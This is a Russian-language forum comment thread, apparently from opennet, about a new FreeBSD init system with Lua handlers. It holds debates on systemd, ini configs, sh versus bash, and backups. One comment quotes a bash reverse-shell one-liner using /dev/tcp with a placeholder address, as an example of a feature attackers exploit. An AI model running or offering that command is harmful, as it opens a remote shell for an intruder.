  • 3.123, Аноним10084 и 1008465039 (?), 23:16, 10/09/2026 [^] [^^] [^^^] [ответить]  
  • +/–
    > Врут. Нет, если вы любите нескучный xml...

    Формат дело наживное, я ж не говорю скопировать один в один. Вон в systemd не xml

     
     
  • 4.263, Аноним (-), 18:58, 11/09/2026 [^] [^^] [^^^] [ответить]  
  • +/–
    > Формат дело наживное, я ж не говорю скопировать один в один. Вон
    > в systemd не xml

    Там обычный ini вообще. Дешево (парсить) и сердито! А свои задачи - бишь декларативное описание старта юнитов - решает на ура.

    И как раз отсутствие вот именно что программизма - одна из сильных фич этого. Потому что майнтайнить тюринг-полные художества васянов - это ночной кошмар любого эксплуатанта.

     
     
  • 5.279, нах. (?), 20:26, 11/09/2026 [^] [^^] [^^^] [ответить]  
  • +/–
    > Там обычный ini вообще. Дешево (парсить) и сердито! А свои задачи -

    напомни, какие параметры надо скидывать через =пустоеместо а какие нет?

    > бишь декларативное описание старта юнитов - решает на ура.

    ага, вон той чушью. Спасибо, даром не нать.

    А чуть что посложнее - в ExecStartPre опять пихать шелл-скритик (а в том sleep 150 чтоб чудо-параллельный-супер-инит успел не только быстрозапустить то что нужно, а и оно бы успело сработать)

     
     
  • 6.376, Аноним (-), 01:44, 13/09/2026 [^] [^^] [^^^] [ответить]  
  • –1 +/–
    1 Это вообще к вот именно формату файлов не относится - никак 2 Мелочь толко ... большой текст свёрнут, показать
     
  • 5.296, Ivan_83 (ok), 23:10, 11/09/2026 [^] [^^] [^^^] [ответить]  
  • +2 +/–
    Это вам ini кажется простым форматом, пока вы его парсер не начали писать и не узнали что там есть разные диалекты.
     
     
  • 6.343, User (??), 16:26, 12/09/2026 [^] [^^] [^^^] [ответить]  
  • –1 +/–
    > Это вам ini кажется простым форматом, пока вы его парсер не начали
    > писать и не узнали что там есть разные диалекты.

    Да это еще полбеды... даже с самым лучшим парсером (Ну, если мы не пилим СОБСТВЕННЫЙ ЛУДШИЙ ДИАЛЕХТ) - сам формат вот... нетипизированный, и большая часть вещей, которая в нормальном случае делается парсером для ini - радостно переезжает вот в логику приложения. Радость-то кака, счастье прям!

     
  • 6.377, Аноним (-), 01:45, 13/09/2026 [^] [^^] [^^^] [ответить]  
  • +/–
    > Это вам ini кажется простым форматом, пока вы его парсер не начали
    > писать и не узнали что там есть разные диалекты.

    Ну я писал минимальный парсер ini. Это неизмеримо проще чем полноценный парсер JSON или тем более XML.

     
     
  • 7.389, _ (??), 07:45, 13/09/2026 [^] [^^] [^^^] [ответить]  
  • +1 +/–
    ... а теперь попробуй сделать полный, а не минимальный. Видишь как стол развернулся?
    Для тех, ты хотябы в теории - но можешь это сделать...
    А стандарт на ini ... это как дороги в глубинке РФ, оно только направление показывает.
     
     
  • 8.397, нах. (?), 11:51, 13/09/2026 [^] [^^] [^^^] [ответить]  
  • +/–
    А вот - зачем Нас интересует только свой конфиг, а не осчастливить человечество... текст свёрнут, показать
     
     
  • 9.458, _ (??), 03:44, 15/09/2026 [^] [^^] [^^^] [ответить]  
  • +/–
    А А тогда я не понимаю - чего тут копья ломают Свой собственный конфиг ты по... текст свёрнут, показать
     
     
  • 10.459, нах. (?), 10:43, 15/09/2026 [^] [^^] [^^^] [ответить]  
  • +/–
    свой - для своей задачи, а не тобой написанный Бывает что вместо того чтоб его ... текст свёрнут, показать
     
  • 8.422, Аноним (-), 16:31, 13/09/2026 [^] [^^] [^^^] [ответить]  
  • +/–
    Но в моей задаче достаточно - вон того Все неизвестное я могу или игнорить или ... большой текст свёрнут, показать
     
  • 6.396, нах. (?), 11:50, 13/09/2026 [^] [^^] [^^^] [ответить]  
  • +/–
    > Это вам ini кажется простым форматом, пока вы его парсер не начали
    > писать и не узнали что там есть разные диалекты.

    обычно все же его пишут под задачу, чем и хорош формат (свой xml - добро пожаловать в ад. А в несвоем кстати опять можно нечаянно исполнить конфиг при его парсинге) - т.е. он хорош именно тем что _свой_ конфиг (а не универсальный сферический) ты _можешь_ распарсить сам, а не зависеть от миллиона лефтпадов сомнительного качества.

    И в отличие от json - он человекочитаем, и в отличие от yaml - не ломается от лишнего невидимого символа.

    Ну да, парсер немного сложнее чем кажется большинству начинающих на первый взгляд, но если уж ты с кодом сервиса справился...

     
     
  • 7.409, Ivan_83 (ok), 14:10, 13/09/2026 [^] [^^] [^^^] [ответить]  
  • +/–
    Да я и не против ini, и технически LUA для загрузки конфига это поддиалект ini :)
    Это было замечание про то что у ini тоже есть диалекты, что это не какой то единый стандарт.

    Если с окончанием строк CRLF vs LF всё просто, с символом для комента тоже, то с регистрозависимостью уже не так всё однозначно.

    А вот с тем как интерпретировать пробелы и табы в "name=value" при парсинге того что до = и парсинге того что после = уже не так весело. Те как минимум не понятно можно ли в value пробелы и табуляции указывать в качестве данных.
    Ещё веселее это считать ли символ комента в value частью value или же это комент.

     
     
  • 8.425, Аноним (-), 16:36, 13/09/2026 [^] [^^] [^^^] [ответить]  
  • –1 +/–
    И тем не менее - конфиг s-d визуально намного чище и без визуального мусора чем ... текст свёрнут, показать
     

  • 1.18, warlock66613 (ok), 11:05, 10/09/2026 [ответить] [﹢﹢﹢] [ · · · ]  
  • +/–
    Это наверное круто и правильно, но я не понял зачем это нужно.
     
     
  • 2.22, 1 (??), 11:31, 10/09/2026 [^] [^^] [^^^] [ответить]  
  • +1 +/–
    1. Ускорить загрузку
    2. Выкинуть monitord
     
     
  • 3.25, xsignal (ok), 11:39, 10/09/2026 [^] [^^] [^^^] [ответить]  
  • +3 +/–
    > 1. Ускорить загрузку

    А что, приходится так часто перезагружаться, что это стало узким местом?

     
     
  • 4.41, Аноним (41), 12:57, 10/09/2026 [^] [^^] [^^^] [ответить]  
  • –1 +/–
    сервер может долго запускаться, какую-нибудь террабайтную базу проверять перед тем как сокеты открыть
     
     
  • 5.143, sunjob (ok), 03:21, 11/09/2026 [^] [^^] [^^^] [ответить]  
  • +2 +/–
    > какую-нибудь террабайтную базу

    система инициализации ускорит этот процесс?

     
     
  • 6.395, нах. (?), 11:46, 13/09/2026 [^] [^^] [^^^] [ответить]  
  • +1 +/–
    >> какую-нибудь террабайтную базу
    > система инициализации ускорит этот процесс?

    умная система инициализации просто отправит его фоново исполняться, и хотя бы обеспечит доступность хоста и его остальную конфигурацию, пока оно там копается.

    Возможно ты захочешь вмешаться в процесс или починить пока что-то в другом месте, и неплохо бы дать тебе такую возможность.

    Нужно, конечно, редко, и еще реже нельзя просто добавить & в нужный скриптик. Чай не системдрянь. Но обычно ты на такие грабли наступаешь когда оно уже вот, висит и перепроверяет свой терабайт, а & ты поставишь только в следующий раз, если в суматохе не забудешь снова.

     
     
  • 7.402, sunjob (ok), 12:28, 13/09/2026 [^] [^^] [^^^] [ответить]  
  • +/–
    > умная система инициализации просто отправит его фоново исполняться

    а тупой баш-старт-скрипт это умел с самого рождения... :о)
    да и вопрос косался немного (совсем) другого аспекта.
    зачем вы стрелки переводите? не дело это... балаганить мы все умеем :о)

    п.с.
    если база "свалилсь" - то это совсем другой "каЛлинкор" и загрузка тут уже по барабану, берутся серьезные инсрументы для ремонта итд...

    > умная система инициализации

    и упаси нас от этого. пусть система инициализации остается простой/тупой - и выполняет то, что ей и нужно а не заниматься мыслеобразами "как оно тут будет лучше"...
    разбираться/искать ошибки, исправлять - однозначно лучше в "тупой", нежели в "умной"...
    нафиг-нафиг...

     
     
  • 8.403, нах. (?), 12:40, 13/09/2026 [^] [^^] [^^^] [ответить]  
  • +/–
    в том и дело что нет, он родился - т-пым - Поправить-то ты можешь, конечно, и ... большой текст свёрнут, показать
     
     
  • 9.407, sunjob (ok), 13:09, 13/09/2026 [^] [^^] [^^^] [ответить]  
  • +/–
    нормальные пацаны и не ждут о чем и речь п с я не против велосипедов ... текст свёрнут, показать
     
  • 4.44, Аноним (43), 13:13, 10/09/2026 [^] [^^] [^^^] [ответить]  
  • +1 +/–
    Фряха последние годы ориентируется на десктоп (см. laptop project), поэтому там это будет полезно
     
     
  • 5.96, Аноним (92), 20:47, 10/09/2026 [^] [^^] [^^^] [ответить]  
  • –2 +/–
    > Фряха последние годы ориентируется на десктоп

    А раньше они на что ориентировались? На избегание любой возможности успеха где-либо кроме собственных фантазий?

     
  • 3.70, Аноним (67), 16:01, 10/09/2026 [^] [^^] [^^^] [ответить]  
  • +/–
    1. Оно не сильно поможет:
    https://wiki.freebsd.org/BootTime
     
  • 2.23, 1 (??), 11:33, 10/09/2026 [^] [^^] [^^^] [ответить]  
  • –1 +/–
    *monit же !
     

  • 1.19, Аноним (19), 11:14, 10/09/2026 [ответить] [﹢﹢﹢] [ · · · ]  
  • –2 +/–
    Лучше б shepherd затащили… а, не, там же лицензия некошерная.
     
     
  • 2.39, Аноним (90), 12:49, 10/09/2026 [^] [^^] [^^^] [ответить]  
  • +/–
    Просто наяривание на скорость загрузки. Впрочем, в Линуксе некоторые тоже этим страдают.
     
     
  • 3.137, Аноним (-), 00:46, 11/09/2026 [^] [^^] [^^^] [ответить]  
  • +1 +/–
    Никто уже таким не занимается, спокойно ждут по 30 секунд, когда нерабочая сеть по таймауту отвалится.
     
  • 2.134, Сладкая булочка (?), 00:36, 11/09/2026 [^] [^^] [^^^] [ответить]  
  • +1 +/–
    > Лучше б shepherd затащили…

    Чем он лучше?

     
     
  • 3.161, Аноним (19), 09:20, 11/09/2026 [^] [^^] [^^^] [ответить]  
  • –1 +/–
    Зависимости, таймеры, пользовательские сервисы, расширяемость, Guile. Ну и да — он уже есть.
     
     
  • 4.352, _ (??), 19:23, 12/09/2026 [^] [^^] [^^^] [ответить]  
  • +/–
    Нет его.
    Ну сайтик то есть - да, а вот в-живую ты его хоть где нибудь, хоть разочек видел?
    Я вот не то что его не видел, я не видел никого кто бы его видел ;-)

    Как то такЪ(С)

     
     
  • 5.441, Аноним (19), 19:02, 13/09/2026 [^] [^^] [^^^] [ответить]  
  • +/–
    Видел конечно (иначе зачем бы мне его упоминать), мало того, пользуюсь (ну вернее как пользуюсь, пару собственных сервисов не считается), оно представь - просто работает.
     

  • 1.26, Мемоним (?), 11:43, 10/09/2026 [ответить] [﹢﹢﹢] [ · · · ]  
  • –2 +/–
    > написания встроенных обработчиков на языке Lua

    Заменить баш-портянки на луа-портянки? Ну так себе идея.

     
     
  • 2.59, Ivan_83 (ok), 15:02, 10/09/2026 [^] [^^] [^^^] [ответить]  
  • +2 +/–
    Во фре нет BASH по умолчанию и все скрипты пишутся на shell script, он же юзается как /bin/sh для rc.d.
     
     
  • 3.63, Аноним (90), 15:34, 10/09/2026 [^] [^^] [^^^] [ответить]  
  • +/–
    Ну ну более зашкварный, чем bash.
     
  • 3.66, Аноним (66), 15:44, 10/09/2026 [^] [^^] [^^^] [ответить]  
  • +2 +/–
    По сравнению с bash, posix sh это просто трэш.

    Но баш можно поставить.

     
     
  • 4.74, Ivan_83 (ok), 16:14, 10/09/2026 [^] [^^] [^^^] [ответить]  
  • +2 +/–
    Как пользовательский шелл - да, не удобное.
    Для скриптов вполне норм.
     
     
  • 5.97, Аноним (92), 20:48, 10/09/2026 [^] [^^] [^^^] [ответить]  
  • +2 +/–
    > Для скриптов вполне норм.

    Но только если писать их на lua.

     
  • 4.84, OpenEcho (?), 17:46, 10/09/2026 [^] [^^] [^^^] [ответить]  
  • +1 +/–
    > По сравнению с bash, posix sh это просто трэш.

    Зато у него нет подушки для хакеров в виде башевского

    bash -i >& /dev/tcp/х.х.х.х/1234 0>&1

     
     
  • 5.98, Аноним (92), 20:49, 10/09/2026 [^] [^^] [^^^] [ответить]  
  • +/–
    Ну не собирай с этими фичами, если тебя ломают постоянно.
     
     
  • 6.183, OpenEcho (?), 11:35, 11/09/2026 [^] [^^] [^^^] [ответить]  
  • –1 +/–
    > если тебя ломают постоянно.

    Очередной телепат?

    > Ну не собирай с этими фичами

    Чудак однако. "Собирают" любители самоделкины, а там где на этоm делают деньги, изпользуют старое правило - use the right tool for a job

     
  • 5.264, Аноним (-), 19:00, 11/09/2026 [^] [^^] [^^^] [ответить]  
  • +/–
    >> По сравнению с bash, posix sh это просто трэш.
    > Зато у него нет подушки для хакеров в виде башевского
    > bash -i >& /dev/tcp/х.х.х.х/1234 0>&1

    А что - и неткат ты тоже не ставишь? Да и может тогда сеть лучше зарубить совсем? А то мало ли какой там еще софт окажется или хаксор socket() удумает вызывать...

     
     
  • 6.271, OpenEcho (?), 19:33, 11/09/2026 [^] [^^] [^^^] [ответить]  
  • +/–
    > А что - и неткат ты тоже не ставишь?

    Ты вообще понял как это работает? Зачем неткэт? Всё что нужно на пациенте - доступ к башу, который по умолчанию везде доступен для всех юзеров

    > Да и может тогда сеть лучше зарубить совсем?

    Жги еще :)

     
     
  • 7.378, Аноним (-), 01:48, 13/09/2026 [^] [^^] [^^^] [ответить]  
  • +/–
    > Ты вообще понял как это работает? Зачем неткэт? Всё что нужно на
    > пациенте - доступ к башу, который по умолчанию везде доступен для
    > всех юзеров

    И, собссно, что? А так - таки - у меня ряду сетевых контейнеров вот тупо доступ в систему зарублен - и хрен вы этот bash вызовете. А зачем httpd уметь звать баш? Ему не надо баш для его крейсерской работы - значит, обойдетесь без bash. Но если его сломают, позвать socket() какой - можно и без баша если уж очень хочется.

    >> Да и может тогда сеть лучше зарубить совсем?
    > Жги еще :)

    Я в принципе предложил еще более радикальный вариант адептам микротов - питалово не подключать. Вот это хаксоры уж точно фиг оспорят. Даже ME и PSP с убер-бэкдорами бессильны против такого злодейства.

     
     
  • 8.454, OpenEcho (?), 17:52, 14/09/2026 [^] [^^] [^^^] [ответить]  
  • +/–
    Соббнно если хакер найдет доступ в систему через какую угодно дыру, он может орг... текст свёрнут, показать
     
     
  • 9.468, Аноним (-), 12:47, 18/09/2026 [^] [^^] [^^^] [ответить]  
  • +/–
    В случае вот именно системды у меня - фиг он чего сможет Ему показывается лысая... большой текст свёрнут, показать
     
  • 4.135, Сладкая булочка (?), 00:38, 11/09/2026 [^] [^^] [^^^] [ответить]  
  • +/–
    > По сравнению с bash, posix sh это просто трэш.

    С чего это?

     
     
  • 5.146, Аноним (68), 03:31, 11/09/2026 [^] [^^] [^^^] [ответить]  
  • +/–
    Как там с массивами, уже завезли или $@ хватает каждому?
     
     
  • 6.215, Сладкая булочка (?), 13:56, 11/09/2026 [^] [^^] [^^^] [ответить]  
  • +2 +/–
    > Как там с массивами, уже завезли или $@ хватает каждому?

    А массивы в баше - это не трэш?

     
     
  • 7.221, Аноним (197), 14:57, 11/09/2026 [^] [^^] [^^^] [ответить]  
  • –1 +/–
    Shell сам по себе трэш. Единственная причина, по которой его не выкинули - обратная совместимость.
     
  • 7.265, Аноним (-), 19:01, 11/09/2026 [^] [^^] [^^^] [ответить]  
  • –1 +/–
    >> Как там с массивами, уже завезли или $@ хватает каждому?
    > А массивы в баше - это не трэш?

    Поэтому вот вам некая шляпа с сложными объектами, потенциально вложенными и сбоку бантик^W Lua еще? Так и представляю себе лица эксплуатантов которым обломился кастомизированый сервер на ЭТОМ.

    Впрочем, тем быстрее они его перекатают на убунту :)

     
     
  • 8.297, Ivan_83 (ok), 23:16, 11/09/2026 [^] [^^] [^^^] [ответить]  
  • +/–
    Вы зря так относитесь к LUA Он был уже давно и не сильно был известен популярен... текст свёрнут, показать
     
     
  • 9.314, _ (??), 05:23, 12/09/2026 [^] [^^] [^^^] [ответить]  
  • +1 +/–
    Лет через 10 всем будет по-бороде на ЯП, это какая-то внутренняя штука для ЫЫ-шк... текст свёрнут, показать
     
     
  • 10.334, Ivan_83 (ok), 14:37, 12/09/2026 [^] [^^] [^^^] [ответить]  
  • +/–
    Сомнительно Учитывая что все ЫЫ меин апстримы дружно орут эй законодатели, де... текст свёрнут, показать
     
     
  • 11.344, User (??), 16:29, 12/09/2026 [^] [^^] [^^^] [ответить]  
  • +1 +/–
    А лучше, в общем-то и не надо уже - уровень среднего миддла держит, чего больше-... текст свёрнут, показать
     
     
  • 12.404, нах. (?), 12:42, 13/09/2026 [^] [^^] [^^^] [ответить]  
  • +/–
    миддл не справится переписать за меня zfs Сам и признался Жду пока доучат до с... текст свёрнут, показать
     
     
  • 13.406, User (??), 13:08, 13/09/2026 [^] [^^] [^^^] [ответить]  
  • +/–
    Он справится с наукообразном-на-серьезных-щщах объяснением, что zfs тебе не нуж... текст свёрнут, показать
     
     
  • 14.471, нах. (?), 15:23, 18/09/2026 [^] [^^] [^^^] [ответить]  
  • +/–
    опять галлюцинируешь, кожанновый Нет, он вполне справился с детальным объяснени... большой текст свёрнут, показать
     
     
  • 15.473, User (??), 15:34, 18/09/2026 [^] [^^] [^^^] [ответить]  
  • +/–
    gt оверквотинг удален Ну А я что сказал Справился с объяснением, что оно теб... большой текст свёрнут, показать
     
     
  • 16.474, нах. (?), 18:06, 18/09/2026 [^] [^^] [^^^] [ответить]  
  • +/–
    в смысле Он мне ничего не объяснял, выдал план работ на год и удовлетворенно жд... большой текст свёрнут, показать
     
     
  • 17.475, User (??), 18:39, 18/09/2026 [^] [^^] [^^^] [ответить]  
  • +/–
    Ну, значит это у меня профессиональная деформация Я тут вторую неделю за РП в ... текст свёрнут, показать
     
     
  • 18.476, нах. (?), 19:13, 18/09/2026 [^] [^^] [^^^] [ответить]  
  • +/–
    эта тварь книжки по управлению разработкой видимо старые только читала И не в к... текст свёрнут, показать
     
  • 13.469, Аноним (-), 12:54, 18/09/2026 [^] [^^] [^^^] [ответить]  
  • +/–
    Синьор тебя пошлет еще на подлете, прикинув что переписывать настолько дофига чт... текст свёрнут, показать
     
     
  • 14.470, нах. (?), 15:14, 18/09/2026 [^] [^^] [^^^] [ответить]  
  • +/–
    ну и флаг в руки, мне чтоль жалко раритетного кода прямиком из под стола забытог... большой текст свёрнут, показать
     
  • 11.455, OpenEcho (?), 17:56, 14/09/2026 [^] [^^] [^^^] [ответить]  
  • +/–
    Ага и после это спикер парламента и президент говорят, - не надо ничего тормозит... текст свёрнут, показать
     
     
  • 12.472, нах. (?), 15:24, 18/09/2026 [^] [^^] [^^^] [ответить]  
  • +/–
    но антропику выкладывать некастрированный доступ к моделям таки никто не разреши... текст свёрнут, показать
     
  • 9.379, Аноним (-), 01:56, 13/09/2026 [^] [^^] [^^^] [ответить]  
  • –2 +/–
    1 Мне не нравится его пасквилеобразный синтаксис 2 Я вообще не понимаю какую ... большой текст свёрнут, показать
     
     
  • 10.408, User (??), 13:14, 13/09/2026 [^] [^^] [^^^] [ответить]  
  • +/–
    Эх, молодёжь Что значит можно написать Supervisord вполне себе есть ... текст свёрнут, показать
     
  • 3.456, Аноним (-), 23:31, 14/09/2026 [^] [^^] [^^^] [ответить]  
  • +/–
    > Во фре нет BASH по умолчанию и все скрипты пишутся на shell
    > script, он же юзается как /bin/sh для rc.d.

    Линухи в эпоху актуальности sysv тоже bash предпочитали не юзать. Он не чемпион по скорости и жрет прилично ресурсов. Какой-нибудь Dash в дебиане был в разы быстрее.

     

     ....большая нить свёрнута, показать (36)

  • 1.27, Аноним (27), 12:01, 10/09/2026 [ответить] [﹢﹢﹢] [ · · · ]  
  • +/–
    А мне вот интересно, зачем для запуска nginx требуется sshd.
     
     
  • 2.29, Аноним (29), 12:14, 10/09/2026 [^] [^^] [^^^] [ответить]  
  • +1 +/–
    корм для нейросети. боремся как можем
     

  • 1.31, Аноним (31), 12:18, 10/09/2026 [ответить] [﹢﹢﹢] [ · · · ]  
  • +3 +/–
    Да неужели? Авторы rcd сделали замену системд здорового человека и без тонны лишнего кода из системд. Такое можно только приветствовать, ещё и обратная совместимость есть.
     
     
  • 2.42, Аноним (41), 12:59, 10/09/2026 [^] [^^] [^^^] [ответить]  
  • +2 +/–
    тссс, сплюнь, может у бсдишников чтото толковое выйдет
     
  • 2.81, Аноним (75), 16:53, 10/09/2026 [^] [^^] [^^^] [ответить]  
  • +1 +/–
    >Да неужели? Авторы rcd сделали замену системд здорового человека и без тонны лишнего кода из системд.

    Нет, не сделали, а пока "развивают". А вот будет ли оно в конце "развития" выглядеть, как та самая система "здорового человека" - большой вопрос.

    А наличие встроенного Lua-интерпретатора и своего нескучного NIH формата файлов конфигурации вот уже прямо сейчас позволяет оценить то самое "без тонны лишнего кода", лол.

     
     
  • 3.99, Аноним (92), 20:54, 10/09/2026 [^] [^^] [^^^] [ответить]  
  • +/–
    Какие проблемы с lua? Она в ядре фряхи уже есть, теперь и в ините будет. А там глядишь и систему сборки "пакетов" на неё перепишут.
     
     
  • 4.116, Ivan_83 (ok), 21:53, 10/09/2026 [^] [^^] [^^^] [ответить]  
  • +/–
    А где в ядре фряхи вы видели LUA?
    Вот в загрузчике он есть и кажется в установщике и вроде всё.
     
     
  • 5.147, Аноним (68), 03:34, 11/09/2026 [^] [^^] [^^^] [ответить]  
  • +/–
    А да, точно, во фряхе это ещё не осилили. Я всё время путаю FreeBSD и NetBSD, они у меня вечно сливаются в понятие "бесполезная маргинальная ос".
     

  • 1.45, Аноним (45), 13:33, 10/09/2026 [ответить] [﹢﹢﹢] [ · · · ]  
  • +/–
    Ну наконец-то rc система фри ужасна То что она должна делать - запускать и сле... большой текст свёрнут, показать
     
     
  • 2.50, Ivan_83 (ok), 14:06, 10/09/2026 [^] [^^] [^^^] [ответить]  
  • +/–
    Следить за сервисами, в том смысле что поднимать упавшие - никогда не было задачей rc.d во фре.

    /usr/sbin/daemon - сделан и используется СПЕЦИАЛЬНО для приложений где автор не осилил работу в качестве сервиса.

    Если вам нужно динамическая реакция на VPN или ещё что то - это делается через devd: надо добавить свои скрипты на нужные вам события.


    > В настройке сервисов разброд и шатание - где-то для каждой настройки есть rc переменная, где-то для всего foobar_args, где-то foobar_flags, где-то foobar_params. Где-то поддерживается смена юзера, задание лимитов, смена fib, где-то нет.

    Так и сервисы сильно разные.
    Нужно каждый смотреть отдельно.

     
     
  • 3.89, Аноним (89), 19:17, 10/09/2026 [^] [^^] [^^^] [ответить]  
  • +/–
    Как бы тебе сказать, это всё равно что заявить что никогда не было задачей фри б... большой текст свёрнут, показать
     
     
  • 4.109, Ivan_83 (ok), 21:38, 10/09/2026 [^] [^^] [^^^] [ответить]  
  • –1 +/–
    А давно ли дистры линуха научились следить и перезапускать Вы не правы и мир си... большой текст свёрнут, показать
     
     
  • 5.429, Аноним (429), 17:29, 13/09/2026 [^] [^^] [^^^] [ответить]  
  • +/–
    Хотите за линч негров поговорить Лет 12 если взять убунту и дебиан По меркам I... большой текст свёрнут, показать
     
     
  • 6.435, Ivan_83 (ok), 17:52, 13/09/2026 [^] [^^] [^^^] [ответить]  
  • +/–
    Те года после 2015, даже венда к тому времени VLAN ы освоила А чего не сразу ... большой текст свёрнут, показать
     
     
  • 7.457, Аноним (-), 00:37, 15/09/2026 [^] [^^] [^^^] [ответить]  
  • +/–
    Про винду ничего не скажу - мне это не интересно А так - врядли много людей акт... большой текст свёрнут, показать
     
  • 4.268, Аноним (-), 19:12, 11/09/2026 [^] [^^] [^^^] [ответить]  
  • –1 +/–
    Это примерно так и есть они всегда хотели концепции и вэи, поучать других и про... большой текст свёрнут, показать
     
  • 2.136, Сладкая булочка (?), 00:39, 11/09/2026 [^] [^^] [^^^] [ответить]  
  • +/–
    > поделки типа гню shepherd

    Поясни.

     

  • 1.48, Аноним (48), 13:43, 10/09/2026 [ответить] [﹢﹢﹢] [ · · · ]  
  • +3 +/–
    Нафиг вы все прицепились к systemd, он не ломает unixway, я хоть и старик мне вообще фиолетово. Куда хлеще симлинки /bin /sbin /lib, и все прожевали, ни один ни пискнул. Такой удар по ремонтопригодности. Если отъезжает /usr, рут вообще остаётся ни с чем, без инструментов.
     
     
  • 2.54, Аноним (54), 14:28, 10/09/2026 [^] [^^] [^^^] [ответить]  
  • +2 +/–
    есть мнение, что на абсолютном большинстве систем и /bin и /usr/bin живут(жили) на одном и том же разделе, так что эта ремонтопригодность была только у тех кто этим отдельно озаботился
     
     
  • 3.85, нах. (?), 17:50, 10/09/2026 [^] [^^] [^^^] [ответить]  
  • +/–
    эти люди назывались когда-то - авторы дистрибутивов.
    Кстати, до определенного момента они таки озабочивались.

    А потом кто умер, кто подался в агитаторы, а кто забил.

    А у молодняка в виртуалочке в макоси все свалено в / потому что после запуска теста она вообще больше не нужна.

     
     
  • 4.269, Аноним (-), 19:15, 11/09/2026 [^] [^^] [^^^] [ответить]  
  • –1 +/–
    Пока это был - единственный комп в городе А потом, видите ли, народ как-то за... большой текст свёрнут, показать
     
     
  • 5.273, нах. (?), 19:55, 11/09/2026 [^] [^^] [^^^] [ответить]  
  • +/–
    >> эти люди назывались когда-то - авторы дистрибутивов.
    >> Кстати, до определенного момента они таки озабочивались.
    > Пока это был - единственный комп в городе...

    пока на нем было что-то ценное. а не докер обмазанный докером под докером.

    > Или вообще - снапшот откатить за 2 минуты - и сделать вид

    это в той твоей горбатой фс полностью разваливающейся при сбоях питания? Держи в курсе.

    (и да, ее не починить, да и чинить незачем)

    > что факапа никогда не было. Но да, тебе снапшоты на десктопе

    нахрен не нужны. Нет у меня на десктопе ничего, что можно "откатить".

    > Теперь и правда нет задачи

    у _тебя_ нет. Потому что твои поделки вообще никакой ценности не имеют и никаких полезных данных на той кривой флэшке быть не могло.

     
     
  • 6.381, Аноним (-), 02:26, 13/09/2026 [^] [^^] [^^^] [ответить]  
  • +/–
    Про культуру разделения на system и user data сэрам тоже рассказать - забыли... большой текст свёрнут, показать
     
     
  • 7.391, нах. (?), 09:02, 13/09/2026 [^] [^^] [^^^] [ответить]  
  • +/–
    значит эта система - просто помойка с хранилкой какого-то мусора в home - типик... большой текст свёрнут, показать
     
     
  • 8.433, Аноним (-), 17:48, 13/09/2026 [^] [^^] [^^^] [ответить]  
  • +/–
    Ну да, зелен виноград и вообще Тебе как юзеру виндочки виднее что там А я имел... большой текст свёрнут, показать
     
     
  • 9.452, нах. (?), 01:11, 14/09/2026 [^] [^^] [^^^] [ответить]  
  • +/–
    там все как надо - откат откатывает поломанное, а не все подряд И там мы действ... большой текст свёрнут, показать
     
     
  • 10.479, Аноним (-), 03:28, 20/09/2026 [^] [^^] [^^^] [ответить]  
  • +/–
    И майкрософт лучше меня знает что мне надо, ога Не, извини, так это не работает... большой текст свёрнут, показать
     
  • 3.115, Ivan_83 (ok), 21:53, 10/09/2026 [^] [^^] [^^^] [ответить]  
  • +/–
    Если бы то что у вас подпадает под ваши критерии "ремонтопригодность" было кому то надо - оно бы было.
    Полагаю другие люди просто чинят загружаясь с рабочей системы, лайвсд какогонить и не теряют время пытаясь нечто глюкавое воскресить находясь внутри.
    Учитывая что это линукс, достаточно чтобы mount+chroot работали, дальше можно смонтировать запасной рабочий образ и чрутнутся в него и уже от туда примерно как с лайвсд чинить.
     
     
  • 4.274, нах. (?), 19:59, 11/09/2026 [^] [^^] [^^^] [ответить]  
  • +/–
    > Если бы то что у вас подпадает под ваши критерии "ремонтопригодность" было
    > кому то надо - оно бы было.
    > Полагаю другие люди просто чинят загружаясь с рабочей системы,

    Нет.

    Тут наш местный подвальный был прав - те другие ничего не чинят (и не умеют, кстати) да и чинить в этих поделках нечего обычно уже. Умерла так умерла. Любые серьезные повреждения - ребут-реинстал. Если там были твои ценные данные - сам виноват.

     
     
  • 5.281, Аноним (276), 20:37, 11/09/2026 [^] [^^] [^^^] [ответить]  
  • +/–
    Ценные данные вообще-то бэкапить надо
     
     
  • 6.287, нах. (?), 22:34, 11/09/2026 [^] [^^] [^^^] [ответить]  
  • +/–
    раз в секунду - норм?
    А если не норм - то может головой еще разок-другой попробуешь не только есть?

     
  • 6.299, Ivan_83 (ok), 23:20, 11/09/2026 [^] [^^] [^^^] [ответить]  
  • +/–
    Зачем?
    Проще диск примонтировать и скопировать, в данном случае.
     
     
  • 7.316, нах. (?), 08:49, 12/09/2026 [^] [^^] [^^^] [ответить]  
  • +/–
    > Зачем?
    > Проще диск примонтировать и скопировать, в данном случае.

    не проще, потому что тебе визу не дадут - место рождения Челябинск в паспорте.

    И это далеко не единственный вариант когда проще все же починить.


     
     
  • 8.335, Ivan_83 (ok), 14:39, 12/09/2026 [^] [^^] [^^^] [ответить]  
  • +/–
    Ну да, я как бы хостег чувствительной нужной инфы никогда не рассматривал во вне... текст свёрнут, показать
     
     
  • 9.392, нах. (?), 09:11, 13/09/2026 [^] [^^] [^^^] [ответить]  
  • +/–
    и при этом остался патреотом , только почему-то проживать подальше от точки при... текст свёрнут, показать
     
     
  • 10.411, Ivan_83 (ok), 14:24, 13/09/2026 [^] [^^] [^^^] [ответить]  
  • +/–
    Да нет у меня потреотизма, просто кругом идиоты, иногда даже намного больше чем ... текст свёрнут, показать
     
     
  • 11.448, нах. (?), 23:51, 13/09/2026 [^] [^^] [^^^] [ответить]  
  • +/–
    Попроси у ЫЫ найти тебе классику - как бомжи сп-дили у очень умного евpeя Малиса... текст свёрнут, показать
     
  • 5.345, User (??), 16:35, 12/09/2026 [^] [^^] [^^^] [ответить]  
  • –1 +/–
    >> Если бы то что у вас подпадает под ваши критерии "ремонтопригодность" было
    >> кому то надо - оно бы было.
    >> Полагаю другие люди просто чинят загружаясь с рабочей системы,
    > Нет.
    > Тут наш местный подвальный был прав - те другие ничего не чинят
    > (и не умеют, кстати) да и чинить в этих поделках нечего
    > обычно уже. Умерла так умерла. Любые серьезные повреждения - ребут-реинстал. Если
    > там были твои ценные данные - сам виноват.

    Вот щаз прям обидно, да! Вроде как /home все desktop linux'ы по дефолту выделяют )

     
     
  • 6.351, нах. (?), 17:38, 12/09/2026 [^] [^^] [^^^] [ответить]  
  • +/–
    у меня нет десктопов.

    а так да, выделяют- выделяют. Интересно, у редхатоклонов до сих пор невозможно создать лэйаут с всем местом в / без ручного указания в байтиках сколько куда (охренеть "удобно" когда размер у каждой новой системы может быть любым) ?

